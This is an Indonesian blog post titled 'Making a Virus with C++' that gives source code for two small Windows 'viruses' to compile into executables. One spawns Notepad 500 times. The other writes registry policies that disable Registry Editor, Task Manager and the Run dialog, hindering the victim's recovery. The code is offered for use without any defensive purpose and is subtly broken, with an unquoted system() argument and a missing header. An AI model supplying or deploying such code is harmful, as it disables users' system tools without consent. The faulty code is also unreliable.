![]() |
| Source image: |
Membuat Virus Menggunakan Bahasa C++ - Langsung saja akan saya berikan source codenya. Ada beberapa source kode untuk setiap virus. Okelah cekidot!
Note : Compile kode ini menggunakan compiler yang support C++ (ya iyalah). Compile ke dalam file berekstensi .exe.
Virus Sederhana Untuk Membuka Notepad Berulang Ulang
Source Code :
#include <stdio.h>
int main()
{
int i(1);
const int max (500);
for (i=i;i<=max;i++)
{
system (start c:\\windows\\system32\\notepad.exe);
}
}
Virus Untuk Disable Beberapa Fungsi Windows
Source Code :
#include <stdio.h>
#include <conio.h>
void main()
{
//VIRUS BY BANG GAS
//LITERALY, THIS ISN'T A VIRUS LOL
//DISABLE REGEDIT
system ("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v Disableregistrytools /d 1 /f/a");
//DISABLE TASKMGR
system ("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v Disabletaskmgr /d 1 /f/a");
//DISABLE RUN
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /t REG_DWORD /v NoRun /d 1 /f/a");
getch();
}
Segitu saja script virusnya, semoga bermanfaat :)
